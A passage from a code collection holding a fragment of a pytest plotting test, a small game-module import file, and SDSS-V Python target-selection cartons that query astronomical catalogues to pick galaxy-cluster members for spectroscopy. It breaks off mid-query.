mock.Mock(return_value=plotter_mock) monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) with pytest.raises(ValueError) as excinfo: ci.plot(panels=['test']) assert str(excinfo.value) == ( '"test" is not a valid panel. Valid panels are: ' '"original", "pointwise", "cumulative".' ) def test_plot_with_no_llb(rand_data, pre_int_period, post_int_period, monkeypatch): ax_mock = mock.Mock() plotter_mock = mock.Mock() plotter_mock.subplot.return_value = ax_mock plot_mock = mock.Mock(return_value=plotter_mock) fig_mock = mock.Mock() plotter_mock.figure.return_value = fig_mock monkeypatch.setattr(plot.Plot, '_get_plotter', plot_mock) ci = CausalImpact(rand_data, pre_int_period, post_int_period) ci.trained_model.filter_results.loglikelihood_burn = 0 ci.plot() fig_mock.text.assert_not_called()

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d2c9b5f152c75499a6c9989284b92842797c5070

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py

Python

src/game/loaders/__init__.py

ShoaibSyed1/project-pokemon

6916962cf0be478c2a229b6620e9425d707c2b29

[ "MIT" ]

null

src/game/loaders/__init__.py

ShoaibSyed1/project-pokemon

6916962cf0be478c2a229b6620e9425d707c2b29

[ "MIT" ]

null

src/game/loaders/__init__.py

ShoaibSyed1/project-pokemon

6916962cf0be478c2a229b6620e9425d707c2b29

[ "MIT" ]

null

from game.loaders.entity import EntityLoader from game.loaders.scene import SceneLoader from game.loaders.sprite import * from game.loaders.text import TextLoader from game.loaders.ui import *

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py

Python

python/target_selection/cartons/bhm_spiders_clusters.py

sdss/target_selection

7196bf1491c4e9c18140301c7001e503f391a8e1

[ "BSD-3-Clause" ]

3

2020-07-07T01:38:59.000Z

2020-11-24T21:46:58.000Z

python/target_selection/cartons/bhm_spiders_clusters.py

sdss/target_selection

7196bf1491c4e9c18140301c7001e503f391a8e1

[ "BSD-3-Clause" ]

26

2020-05-28T07:18:54.000Z

2021-11-30T18:36:10.000Z

python/target_selection/cartons/bhm_spiders_clusters.py

sdss/target_selection

7196bf1491c4e9c18140301c7001e503f391a8e1

[ "BSD-3-Clause" ]

null

#!/usr/bin/env python # -*- coding: utf-8 -*- # # @Author: Tom Dwelly # @Date: 2020-06-17 # @Filename: bhm_spiders_clusters.py # @License: BSD 3-clause (http://www.opensource.org/licenses/BSD-3-Clause) # isort: skip_file import peewee from peewee import JOIN from peewee import fn from target_selection.cartons.base import BaseCarton from target_selection.mag_flux import AB2nMgy, AB2Jy # general catalogdb imports from sdssdb.peewee.sdss5db.catalogdb import ( Catalog, EROSITASupersetClusters, ) # imports of existing spectro catalogues from sdssdb.peewee.sdss5db.catalogdb import ( CatalogToSDSS_DR16_SpecObj, SDSS_DR16_SpecObj, CatalogToBHM_eFEDS_Veto, BHM_eFEDS_Veto, SDSSV_BOSS_SPALL, SDSSV_BOSS_Conflist, SDSSV_Plateholes, SDSSV_Plateholes_Meta, ) # additional imports required by bhm_spiders_clusters_lsdr8 from sdssdb.peewee.sdss5db.catalogdb import ( CatalogToLegacy_Survey_DR8, Legacy_Survey_DR8, ) # additional imports required by bhm_spiders_clusters_ps1dr2 from sdssdb.peewee.sdss5db.catalogdb import ( Panstarrs1, CatalogToPanstarrs1, # only exists after v0.5 cross-match ) # Details: Start here # https://wiki.sdss.org/display/OPS/Defining+target+selection+and+cadence+algorithms # ############################################ # ############################################ # ############################################ # ############################################ # # This file provides the following BHM cartons in v0.5: # # bhm_spiders_clusters_efeds_stragglers # bhm_spiders_clusters_lsdr8 # bhm_spiders_clusters_ps1dr2 # # ############################################ # ############################################ # ############################################ # ############################################ # Notes on how many targets to expect: # => SELECT ero_version,xmatch_method,xmatch_version,opt_cat,count(*) # FROM erosita_superset_clusters GROUP BY ero_version,xmatch_method,xmatch_version,opt_cat; # ero_version | xmatch_method | xmatch_version | opt_cat | count # --------------------------+--------------------+--------------------------+--------------+-------- # eFEDS_c001_V18C_legacy_d | EROMAPPER_LS_DR8 | grzw1_v0.3_2020-12-04 | lsdr8 | 73768 # em01_c946_201008_poscorr | EROMAPPER_LS_DR8 | grzw1_v0.3_2020-12-04 | lsdr8 | 160465 # em01_c946_201008_poscorr | EROMAPPER_PS1_DR2 | eromapper_2020-10-23 | ps1dr2 | 140808 # # # END PREAMBLE # ################################################################################## class BhmSpidersClustersLsdr8Carton(BaseCarton): name = 'bhm_spiders_clusters_lsdr8' category = 'science' mapper = 'BHM' program = 'bhm_spiders' tile = False instrument = 'BOSS' inertial = True def build_query(self, version_id, query_region=None): c = Catalog.alias() ls = Legacy_Survey_DR8.alias() c2ls = CatalogToLegacy_Survey_DR8.alias() s2020 = BHM_eFEDS_Veto.alias() sV = SDSSV_BOSS_SPALL.alias() xx = EROSITASupersetClusters.alias() x = ( xx .select( fn.rank().over(partition_by=[xx.ero_detuid], order_by=[xx.xmatch_metric.desc()]).alias('x_rank'), xx.ero_detuid.alias('ero_detuid'), xx.ls_id.alias('ls_id'), xx.target_has_spec.alias('target_has_spec'), ) .where( (xx.ero_version == self.parameters['ero_version']), (xx.xmatch_method == self.parameters['xmatch_method']), (xx.xmatch_version == self.parameters['xmatch_version']), (xx.opt_cat == self.parameters['opt_cat']), (xx.xmatch_metric > self.parameters['xmatch_metric_min']), (xx.ero_det_like > self.parameters['det_like_min']), ) .alias('x') ) instrument = peewee.Value(self.instrument) inertial = peewee.Value(self.inertial).cast('bool') fibertotflux_r_max = AB2nMgy(self.parameters['fibertotmag_r_min']) fibertotflux_r_min = AB2nMgy(self.parameters['fibertotmag_r_max']) fibertotflux_z_max = AB2nMgy(self.parameters['fibertotmag_z_min']) fibertotflux_z_min = AB2nMgy(self.parameters['fibertotmag_z_max']) fibertotflux_r_min_for_cadence1 = AB2nMgy(self.parameters['fibertotmag_r_for_cadence1']) fibertotflux_z_min_for_cadence1 = AB2nMgy(self.parameters['fibertotmag_z_for_cadence1']) fibertotflux_r_min_for_cadence2 = AB2nMgy(self.parameters['fibertotmag_r_for_cadence2']) gaia_g_max_for_cadence1 = self.parameters['gaia_g_max_for_cadence1'] gaia_rp_max_for_cadence1 = self.parameters['gaia_rp_max_for_cadence1'] # flux30 = AB2nMgy(30.00) # match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 # ######################################################################### # prepare the spectroscopy catalogues match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] # SDSS DR16 c2s16 = CatalogToSDSS_DR16_SpecObj.alias() ss16 = SDSS_DR16_SpecObj.alias() s16 = ( ss16.select( ss16.specobjid.alias('specobjid'), ) .where( ss16.snmedian >= spec_sn_thresh, ss16.zwarning == 0, ss16.zerr <= spec_z_err_thresh, ss16.zerr > 0.0, ss16.scienceprimary > 0, ) .alias('s16') ) # SDSS-IV/eFEDS March2020 c2s2020 = CatalogToBHM_eFEDS_Veto.alias() ss2020 = BHM_eFEDS_Veto.alias() s2020 = ( ss2020.select( ss2020.pk.alias('pk'), ) .where( ss2020.sn_median_all >= spec_sn_thresh, ss2020.zwarning == 0, ss2020.z_err <= spec_z_err_thresh, ss2020.z_err > 0.0, ) .alias('s2020') ) # SDSS-V spAll ssV = SDSSV_BOSS_SPALL.alias() sV = ( ssV.select( ssV.specobjid.alias('specobjid'), ssV.plug_ra.alias('plug_ra'), ssV.plug_dec.alias('plug_dec'), ) .where( ssV.sn_median_all >= spec_sn_thresh, ssV.zwarning == 0, ssV.z_err <= spec_z_err_thresh, ssV.z_err > 0.0, ssV.specprimary > 0, ) .alias('sV') ) # SDSS-V plateholes - only consider plateholes that # were drilled+shipped but that were not yet observed ssph = SDSSV_Plateholes.alias() ssphm = SDSSV_Plateholes_Meta.alias() ssconf = SDSSV_BOSS_Conflist.alias() sph = ( ssph.select( ssph.pkey.alias('pkey'), ssph.target_ra.alias('target_ra'), ssph.target_dec.alias('target_dec'), ) .join( ssphm, on=(ssph.yanny_uid == ssphm.yanny_uid) ) .join( ssconf, JOIN.LEFT_OUTER, on=(ssphm.plateid == ssconf.plate) ) .where( (ssph.holetype == 'BOSS_SHARED'), (ssph.sourcetype == 'SCI') | (ssph.sourcetype == 'STA'), ssphm.isvalid > 0, ssconf.plate.is_null(), ) .alias('sph') ) # priority is determined by target rank within cluster # start with a priority floor value (per carton) # then increment if any conditions are met: priority = peewee.Case( None, ( ( x.c.x_rank == 1, self.parameters['priority_floor_bcg'] ), ( x.c.x_rank > 1, self.parameters['priority_floor_member'] + fn.least(self.parameters['priority_levels'] - 2, x.c.x_rank - 2) ), ), None) value = peewee.Case( None, ( (x.c.x_rank == 1, self.parameters['value_bcg']), (x.c.x_rank > 1, self.parameters['value_member']), ), None).cast('float') # choose cadence based on fiber magnitude in r-band cadence1 = self.parameters['cadence1'] cadence2 = self.parameters['cadence2'] cadence3 = self.parameters['cadence3'] cadence4 = 'unknown_cadence' # catch failures cadence = peewee.Case( None, ( ( ((ls.fibertotflux_r > fibertotflux_r_min_for_cadence1) | (ls.fibertotflux_z > fibertotflux_z_min_for_cadence1) | (ls.gaia_phot_g_mean_mag.between(0.1, gaia_g_max_for_cadence1)) | (ls.gaia_phot_rp_mean_mag.between(0.1, gaia_rp_max_for_cadence1))), cadence1), (ls.fibertotflux_r > fibertotflux_r_min_for_cadence2, cadence2), (ls.fibertotflux_r <= fibertotflux_r_min_for_cadence2, cadence3), ), cadence4) # compute transformed SDSS mags for pointlike and extended sources uniformly # transform the legacysurvey grz into sdss psfmag griz # extract coeffs from fit logs via: # awk 'BEGIN {print("coeffs = {")} /POLYFIT/{ if($3~/sdss_psfmag/){pe="p"} else if ($3~/sdss_fiber2mag/){pe="e"} else{pe="error"}; printf("\"%s%d_%s\": %s,\n", substr($3,length($3)), $8, pe, $10)} END {print("}")}' bhm_spiders_clusters_lsdr8/lsdr8_fibermag_to_sdss_fiber2mag_?_results.log # noqa coeffs = { "g2_e": -0.897719, "g1_e": 2.298300, "g0_e": -1.019299, "i2_e": -0.950114, "i1_e": 0.981972, "i0_e": -0.261645, "r2_e": -0.201741, "r1_e": 0.697128, "r0_e": -0.120926, "z2_e": -1.424312, "z1_e": 2.415301, "z0_e": -0.677163, } nMgy_min = 1e-3 # equiv to AB=30 # extended - start from ls8 fiberfluxes g0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_g))) r0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_r))) z0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_z))) g_r_e = (-2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_g) / peewee.fn.greatest(nMgy_min, ls.fiberflux_r))) r_z_e = (-2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_r) / peewee.fn.greatest(nMgy_min, ls.fiberflux_z))) g_e = (g0_e + coeffs['g0_e'] + coeffs['g1_e'] * g_r_e + coeffs['g2_e'] * g_r_e * g_r_e) r_e = (r0_e + coeffs['r0_e'] + coeffs['r1_e'] * g_r_e + coeffs['r2_e'] * g_r_e * g_r_e) i_e = (r0_e + coeffs['i0_e'] + coeffs['i1_e'] * r_z_e + coeffs['i2_e'] * r_z_e * r_z_e) z_e = (z0_e + coeffs['z0_e'] + coeffs['z1_e'] * r_z_e + coeffs['z2_e'] * r_z_e * r_z_e) # validity checks valid = (g0_e.between(0.1, 29.9) & r0_e.between(0.1, 29.9) & z0_e.between(0.1, 29.9)) opt_prov = peewee.Case(None, ((valid, 'sdss_fiber2mag_from_lsdr8'),), 'undefined') magnitude_g = peewee.Case(None, ((valid, g_e),), 'NaN') magnitude_r = peewee.Case(None, ((valid, r_e),), 'NaN') magnitude_i = peewee.Case(None, ((valid, i_e),), 'NaN') magnitude_z = peewee.Case(None, ((valid, z_e),), 'NaN') magnitude_gaia_g = peewee.Case( None, ((ls.gaia_phot_g_mean_mag.between(0.1, 29.9), ls.gaia_phot_g_mean_mag),), 'NaN') magnitude_gaia_bp = peewee.Case( None, ((ls.gaia_phot_bp_mean_mag.between(0.1, 29.9), ls.gaia_phot_bp_mean_mag),), 'NaN') magnitude_gaia_rp = peewee.Case( None, ((ls.gaia_phot_rp_mean_mag.between(0.1, 29.9), ls.gaia_phot_rp_mean_mag),), 'NaN') # # We want to switch between psfmags and fibertotmags depending on # # ls.type parameter (PSF or extended) # # For 'PSF' targets, we use psfmags, but for extended sources use fiber2mags # opt_prov = peewee.Case( # ls.type, # (('PSF', 'ls_psfmag'),), # 'ls_fibertotmag') # # magnitude_g = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_g))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_g))).cast('float')) # # magnitude_r = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_r))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_r))).cast('float')) # # magnitude_z = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_z))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_z))).cast('float')) # # magnitude_i = peewee.Case( # ls.type, # (('PSF', # (22.5 - 2.5 * fn.log10( # fn.greatest(flux30, 0.5 * (ls.flux_r + ls.flux_z)))).cast('float')),), # (22.5 - 2.5 * fn.log10( # fn.greatest(flux30, 0.5 * (ls.fibertotflux_r + # ls.fibertotflux_z)))).cast('float')) spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] query = ( c.select( c.catalogid.alias('catalogid'), ls.ls_id.alias('ls_id'), # extra x.c.ero_detuid.cast('text').alias('ero_detuid'), # extra c.ra.alias('ra'), # extra c.dec.alias('dec'), # extra priority.alias('priority'), value.alias('value'), cadence.alias('cadence'), instrument.alias('instrument'), opt_prov.alias('optical_prov'), magnitude_g.alias('g'), magnitude_r.alias('r'), magnitude_i.alias('i'), magnitude_z.alias('z'), magnitude_gaia_g.alias('gaia_g'), magnitude_gaia_bp.alias('bp'), magnitude_gaia_rp.alias('rp'), inertial.alias('inertial'), g0_e.alias('ls8_fibermag_g'), # extra r0_e.alias('ls8_fibermag_r'), # extra z0_e.alias('ls8_fibermag_z'), # extra ) .join(c2ls) .join(ls) .join(x, on=(ls.ls_id == x.c.ls_id)) # start joining the spectroscopy .switch(c) .join(c2s16, JOIN.LEFT_OUTER) .join( s16, JOIN.LEFT_OUTER, on=( (c2s16.target_id == s16.c.specobjid) & (c2s16.version_id == version_id) ) ) .switch(c) .join(c2s2020, JOIN.LEFT_OUTER) .join( s2020, JOIN.LEFT_OUTER, on=( (c2s2020.target_id == s2020.c.pk) & (c2s2020.version_id == version_id) ) ) .join( sV, JOIN.LEFT_OUTER, on=( fn.q3c_join(sV.c.plug_ra, sV.c.plug_dec, c.ra, c.dec, match_radius_spectro) ) ) .join( sph, JOIN.LEFT_OUTER, on=( fn.q3c_join(sph.c.target_ra, sph.c.target_dec, c.ra, c.dec, match_radius_spectro) ) ) # finished joining the spectroscopy .where( c.version_id == version_id, c2ls.version_id == version_id, c2ls.best >> True ) .where( s16.c.specobjid.is_null(True), # all of these must be satisfied s2020.c.pk.is_null(True), sV.c.specobjid.is_null(True), sph.c.pkey.is_null(True), ) .where( ( (ls.fibertotflux_r.between(fibertotflux_r_min, fibertotflux_r_max)) | (ls.fibertotflux_z.between(fibertotflux_z_min, fibertotflux_z_max)) ), (x.c.target_has_spec == 0), # gaia safety checks to avoid bad ls photometry ~(ls.gaia_phot_g_mean_mag.between(0.1, self.parameters['gaia_g_mag_limit'])), ~(ls.gaia_phot_rp_mean_mag.between(0.1, self.parameters['gaia_rp_mag_limit'])), ) ) if query_region: query = query.where(peewee.fn.q3c_radial_query(c.ra, c.dec, query_region[0], query_region[1], query_region[2])) return query # # END BhmSpidersClustersLsdr8Carton # ################################################################################## class BhmSpidersClustersEfedsStragglersCarton(BaseCarton): name = 'bhm_spiders_clusters_efeds_stragglers' category = 'science' mapper = 'BHM' program = 'bhm_spiders' tile = False instrument = 'BOSS' inertial = True def build_query(self, version_id, query_region=None): c = Catalog.alias() ls = Legacy_Survey_DR8.alias() c2ls = CatalogToLegacy_Survey_DR8.alias() # s2020 = BHM_eFEDS_Veto.alias() # sV = SDSSV_BOSS_SPALL.alias() # ph = SDSSV_Plateholes.alias() # phm = SDSSV_Plateholes_Meta.alias() xx = EROSITASupersetClusters.alias() x = ( xx .select( fn.rank().over(partition_by=[xx.ero_detuid], order_by=[xx.xmatch_metric.desc()]).alias('x_rank'), xx.ero_detuid.alias('ero_detuid'), xx.ls_id.alias('ls_id'), xx.target_has_spec.alias('target_has_spec'), ) .where( (xx.ero_version == self.parameters['ero_version']), (xx.xmatch_method == self.parameters['xmatch_method']), (xx.xmatch_version == self.parameters['xmatch_version']), (xx.opt_cat == self.parameters['opt_cat']), (xx.xmatch_metric > self.parameters['xmatch_metric_min']), (xx.ero_det_like > self.parameters['det_like_min']), ) .alias('x') ) instrument = peewee.Value(self.instrument) inertial = peewee.Value(self.inertial).cast('bool') fibertotflux_r_max = AB2nMgy(self.parameters['fibertotmag_r_min']) fibertotflux_r_min = AB2nMgy(self.parameters['fibertotmag_r_max']) fibertotflux_z_max = AB2nMgy(self.parameters['fibertotmag_z_min']) fibertotflux_z_min = AB2nMgy(self.parameters['fibertotmag_z_max']) fibertotflux_r_min_for_cadence1 = AB2nMgy(self.parameters['fibertotmag_r_for_cadence1']) fibertotflux_z_min_for_cadence1 = AB2nMgy(self.parameters['fibertotmag_z_for_cadence1']) fibertotflux_r_min_for_cadence2 = AB2nMgy(self.parameters['fibertotmag_r_for_cadence2']) gaia_g_max_for_cadence1 = self.parameters['gaia_g_max_for_cadence1'] gaia_rp_max_for_cadence1 = self.parameters['gaia_rp_max_for_cadence1'] # flux30 = AB2nMgy(30.00) # ######################################################################### # prepare the spectroscopy catalogues match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] # SDSS DR16 c2s16 = CatalogToSDSS_DR16_SpecObj.alias() ss16 = SDSS_DR16_SpecObj.alias() s16 = ( ss16.select( ss16.specobjid.alias('specobjid'), ) .where( ss16.snmedian >= spec_sn_thresh, ss16.zwarning == 0, ss16.zerr <= spec_z_err_thresh, ss16.zerr > 0.0, ss16.scienceprimary > 0, ) .alias('s16') ) # SDSS-IV/eFEDS March2020 c2s2020 = CatalogToBHM_eFEDS_Veto.alias() ss2020 = BHM_eFEDS_Veto.alias() s2020 = ( ss2020.select( ss2020.pk.alias('pk'), ) .where( ss2020.sn_median_all >= spec_sn_thresh, ss2020.zwarning == 0, ss2020.z_err <= spec_z_err_thresh, ss2020.z_err > 0.0, ) .alias('s2020') ) # SDSS-V spAll ssV = SDSSV_BOSS_SPALL.alias() sV = ( ssV.select( ssV.specobjid.alias('specobjid'), ssV.plug_ra.alias('plug_ra'), ssV.plug_dec.alias('plug_dec'), ) .where( ssV.sn_median_all >= spec_sn_thresh, ssV.zwarning == 0, ssV.z_err <= spec_z_err_thresh, ssV.z_err > 0.0, ssV.specprimary > 0, ) .alias('sV') ) # All eFEDS plates have been observed so ignore plateholes now # # SDSS-V plateholes - only consider plateholes that # # were drilled+shipped but that were not yet observed # ssph = SDSSV_Plateholes.alias() # ssphm = SDSSV_Plateholes_Meta.alias() # ssconf = SDSSV_BOSS_Conflist.alias() # sph = ( # ssph.select( # ssph.pkey.alias('pkey'), # ssph.target_ra.alias('target_ra'), # ssph.target_dec.alias('target_dec'), # ) # .join( # ssphm, # on=(ssph.yanny_uid == ssphm.yanny_uid) # ) # .join( # ssconf, JOIN.LEFT_OUTER, # on=(ssphm.plateid == ssconf.plate) # ) # .where( # (ssph.holetype == 'BOSS_SHARED'), # (ssph.sourcetype == 'SCI') | (ssph.sourcetype == 'STA'), # ssphm.isvalid > 0, # ssconf.plate.is_null(), # ) # .alias('sph') # ) # priority is determined by target rank within cluster # start with a priority floor value (per carton) # then increment if any conditions are met: priority = peewee.Case( None, ( ( x.c.x_rank == 1, self.parameters['priority_floor_bcg'] ), ( x.c.x_rank > 1, self.parameters['priority_floor_member'] + fn.least(self.parameters['priority_levels'] - 2, x.c.x_rank - 2) ), ), None) value = peewee.Case( None, ( (x.c.x_rank == 1, self.parameters['value_bcg']), (x.c.x_rank > 1, self.parameters['value_member']), ), None).cast('float') # choose cadence based on fiber magnitude in r-band cadence1 = self.parameters['cadence1'] cadence2 = self.parameters['cadence2'] cadence3 = self.parameters['cadence3'] cadence4 = 'unknown_cadence' # catch failures cadence = peewee.Case( None, ( ( ((ls.fibertotflux_r > fibertotflux_r_min_for_cadence1) | (ls.fibertotflux_z > fibertotflux_z_min_for_cadence1) | (ls.gaia_phot_g_mean_mag.between(0.1, gaia_g_max_for_cadence1)) | (ls.gaia_phot_rp_mean_mag.between(0.1, gaia_rp_max_for_cadence1))), cadence1), (ls.fibertotflux_r > fibertotflux_r_min_for_cadence2, cadence2), (ls.fibertotflux_r <= fibertotflux_r_min_for_cadence2, cadence3), ), cadence4) # compute transformed SDSS mags for pointlike and extended sources separately # transform the legacysurvey grz into sdss psfmag griz # copy of routine for bhm_spiders_clusters_lsdr8 coeffs = { "g2_e": -0.897719, "g1_e": 2.298300, "g0_e": -1.019299, "i2_e": -0.950114, "i1_e": 0.981972, "i0_e": -0.261645, "r2_e": -0.201741, "r1_e": 0.697128, "r0_e": -0.120926, "z2_e": -1.424312, "z1_e": 2.415301, "z0_e": -0.677163, } nMgy_min = 1e-3 # equiv to AB=30 # extended - start from ls8 fiberfluxes g0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_g))) r0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_r))) z0_e = (22.5 - 2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_z))) g_r_e = (-2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_g) / peewee.fn.greatest(nMgy_min, ls.fiberflux_r))) r_z_e = (-2.5 * peewee.fn.log(peewee.fn.greatest(nMgy_min, ls.fiberflux_r) / peewee.fn.greatest(nMgy_min, ls.fiberflux_z))) g_e = (g0_e + coeffs['g0_e'] + coeffs['g1_e'] * g_r_e + coeffs['g2_e'] * g_r_e * g_r_e) r_e = (r0_e + coeffs['r0_e'] + coeffs['r1_e'] * g_r_e + coeffs['r2_e'] * g_r_e * g_r_e) i_e = (r0_e + coeffs['i0_e'] + coeffs['i1_e'] * r_z_e + coeffs['i2_e'] * r_z_e * r_z_e) z_e = (z0_e + coeffs['z0_e'] + coeffs['z1_e'] * r_z_e + coeffs['z2_e'] * r_z_e * r_z_e) # validity checks valid = (g0_e.between(0.1, 29.9) & r0_e.between(0.1, 29.9) & z0_e.between(0.1, 29.9)) opt_prov = peewee.Case(None, ((valid, 'sdss_fiber2mag_from_lsdr8'),), 'undefined') magnitude_g = peewee.Case(None, ((valid, g_e),), 'NaN') magnitude_r = peewee.Case(None, ((valid, r_e),), 'NaN') magnitude_i = peewee.Case(None, ((valid, i_e),), 'NaN') magnitude_z = peewee.Case(None, ((valid, z_e),), 'NaN') # # We want to switch between psfmags and fibertotmags depending on # # ls.type parameter (PSF or extended) # # For 'PSF' targets, we use psfmags, but for extended sources use fiber2mags # opt_prov = peewee.Case( # ls.type, # (('PSF', 'ls_psfmag'),), # 'ls_fibertotmag') # # magnitude_g = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_g))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_g))).cast('float')) # # magnitude_r = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_r))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_r))).cast('float')) # # magnitude_z = peewee.Case( # ls.type, # (('PSF', (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.flux_z))).cast('float')),), # (22.5 - 2.5 * fn.log10(fn.greatest(flux30, ls.fibertotflux_z))).cast('float')) # # magnitude_i = peewee.Case( # ls.type, # (('PSF', # (22.5 - 2.5 * fn.log10( # fn.greatest(flux30, 0.5 * (ls.flux_r + ls.flux_z)))).cast('float')),), # (22.5 - 2.5 * fn.log10( # fn.greatest(flux30, 0.5 * (ls.fibertotflux_r + # ls.fibertotflux_z)))).cast('float')) spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] query = ( c.select( c.catalogid.alias('catalogid'), ls.ls_id.alias('ls_id'), # extra x.c.ero_detuid.cast('text').alias('ero_detuid'), # extra c.ra.alias('ra'), # extra c.dec.alias('dec'), # extra priority.alias('priority'), value.alias('value'), cadence.alias('cadence'), instrument.alias('instrument'), opt_prov.alias('optical_prov'), magnitude_g.alias('g'), magnitude_r.alias('r'), magnitude_i.alias('i'), magnitude_z.alias('z'), ls.gaia_phot_g_mean_mag.alias('gaia_g'), ls.gaia_phot_bp_mean_mag.alias('bp'), ls.gaia_phot_rp_mean_mag.alias('rp'), inertial.alias('inertial'), g0_e.alias('ls8_fibermag_g'), # extra r0_e.alias('ls8_fibermag_r'), # extra z0_e.alias('ls8_fibermag_z'), # extra ) .join(c2ls) .join(ls) .join(x, on=(ls.ls_id == x.c.ls_id)) # start joining the spectroscopy .switch(c) .join(c2s16, JOIN.LEFT_OUTER) .join( s16, JOIN.LEFT_OUTER, on=( (c2s16.target_id == s16.c.specobjid) & (c2s16.version_id == version_id) ) ) .switch(c) .join(c2s2020, JOIN.LEFT_OUTER) .join( s2020, JOIN.LEFT_OUTER, on=( (c2s2020.target_id == s2020.c.pk) & (c2s2020.version_id == version_id) ) ) .join( sV, JOIN.LEFT_OUTER, on=( fn.q3c_join(sV.c.plug_ra, sV.c.plug_dec, c.ra, c.dec, match_radius_spectro) ) ) # .join( # sph, JOIN.LEFT_OUTER, # on=( # fn.q3c_join(sph.c.target_ra, sph.c.target_dec, # c.ra, c.dec, # match_radius_spectro) # ) # ) # finished joining the spectroscopy .where( c.version_id == version_id, c2ls.version_id == version_id, c2ls.best >> True ) .where( s16.c.specobjid.is_null(True), # all of these must be satisfied s2020.c.pk.is_null(True), sV.c.specobjid.is_null(True), # sph.c.pkey.is_null(True), ) .where( ( (ls.fibertotflux_r.between(fibertotflux_r_min, fibertotflux_r_max)) | (ls.fibertotflux_z.between(fibertotflux_z_min, fibertotflux_z_max)) ), (x.c.target_has_spec == 0), # gaia safety checks to avoid bad ls photometry ~(ls.gaia_phot_g_mean_mag.between(0.1, self.parameters['gaia_g_mag_limit'])), ~(ls.gaia_phot_rp_mean_mag.between(0.1, self.parameters['gaia_rp_mag_limit'])), ) ) if query_region: query = query.where(peewee.fn.q3c_radial_query(c.ra, c.dec, query_region[0], query_region[1], query_region[2])) return query # # END BhmSpidersClustersEfedsStragglersCarton # ################################################################################## class BhmSpidersClustersPs1dr2Carton(BaseCarton): name = 'bhm_spiders_clusters_ps1dr2' category = 'science' mapper = 'BHM' program = 'bhm_spiders' tile = False instrument = 'BOSS' inertial = True def build_query(self, version_id, query_region=None): c = Catalog.alias() ps = Panstarrs1.alias() c2ps = CatalogToPanstarrs1.alias() # only exists after v0.5 cross-match # s2020 = BHM_eFEDS_Veto.alias() # sV = SDSSV_BOSS_SPALL.alias() xx = EROSITASupersetClusters.alias() x = ( xx .select( fn.rank().over(partition_by=[xx.ero_detuid], order_by=[xx.xmatch_metric.desc()]).alias('x_rank'), xx.ero_detuid.alias('ero_detuid'), xx.ps1_dr2_id.alias('ps1_dr2_id'), xx.target_has_spec.alias('target_has_spec'), ) .where( (xx.ero_version == self.parameters['ero_version']), (xx.xmatch_method == self.parameters['xmatch_method']), (xx.xmatch_version == self.parameters['xmatch_version']), (xx.opt_cat == self.parameters['opt_cat']), (xx.xmatch_metric > self.parameters['xmatch_metric_min']), (xx.ero_det_like > self.parameters['det_like_min']), ) .alias('x') ) instrument = peewee.Value(self.instrument) inertial = peewee.Value(self.inertial).cast('bool') r_psf_flux_max = AB2Jy(self.parameters['r_psf_mag_min']) i_psf_flux_max = AB2Jy(self.parameters['i_psf_mag_min']) z_psf_flux_max = AB2Jy(self.parameters['z_psf_mag_min']) r_psf_flux_min_for_cadence1 = AB2Jy(self.parameters['r_psf_mag_max_for_cadence1']) i_psf_flux_min_for_cadence1 = AB2Jy(self.parameters['i_psf_mag_max_for_cadence1']) z_psf_flux_min_for_cadence1 = AB2Jy(self.parameters['z_psf_mag_max_for_cadence1']) r_psf_flux_min_for_cadence2 = AB2Jy(self.parameters['r_psf_mag_max_for_cadence2']) i_psf_flux_min_for_cadence2 = AB2Jy(self.parameters['i_psf_mag_max_for_cadence2']) z_psf_flux_min_for_cadence2 = AB2Jy(self.parameters['z_psf_mag_max_for_cadence2']) # match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 # ######################################################################### # prepare the spectroscopy catalogues match_radius_spectro = self.parameters['spec_join_radius'] / 3600.0 spec_sn_thresh = self.parameters['spec_sn_thresh'] spec_z_err_thresh = self.parameters['spec_z_err_thresh'] # SDSS DR16 c2s16 = CatalogToSDSS_DR16_SpecObj.alias() ss16 = SDSS_DR16_SpecObj.alias() s16 = ( ss16.select( ss16.specobjid.alias('specobjid'), ) .where( ss16.snmedian >= spec_sn_thresh, ss16.zwarning == 0, ss16.zerr <= spec_z_err_thresh, ss16.zerr > 0.0, 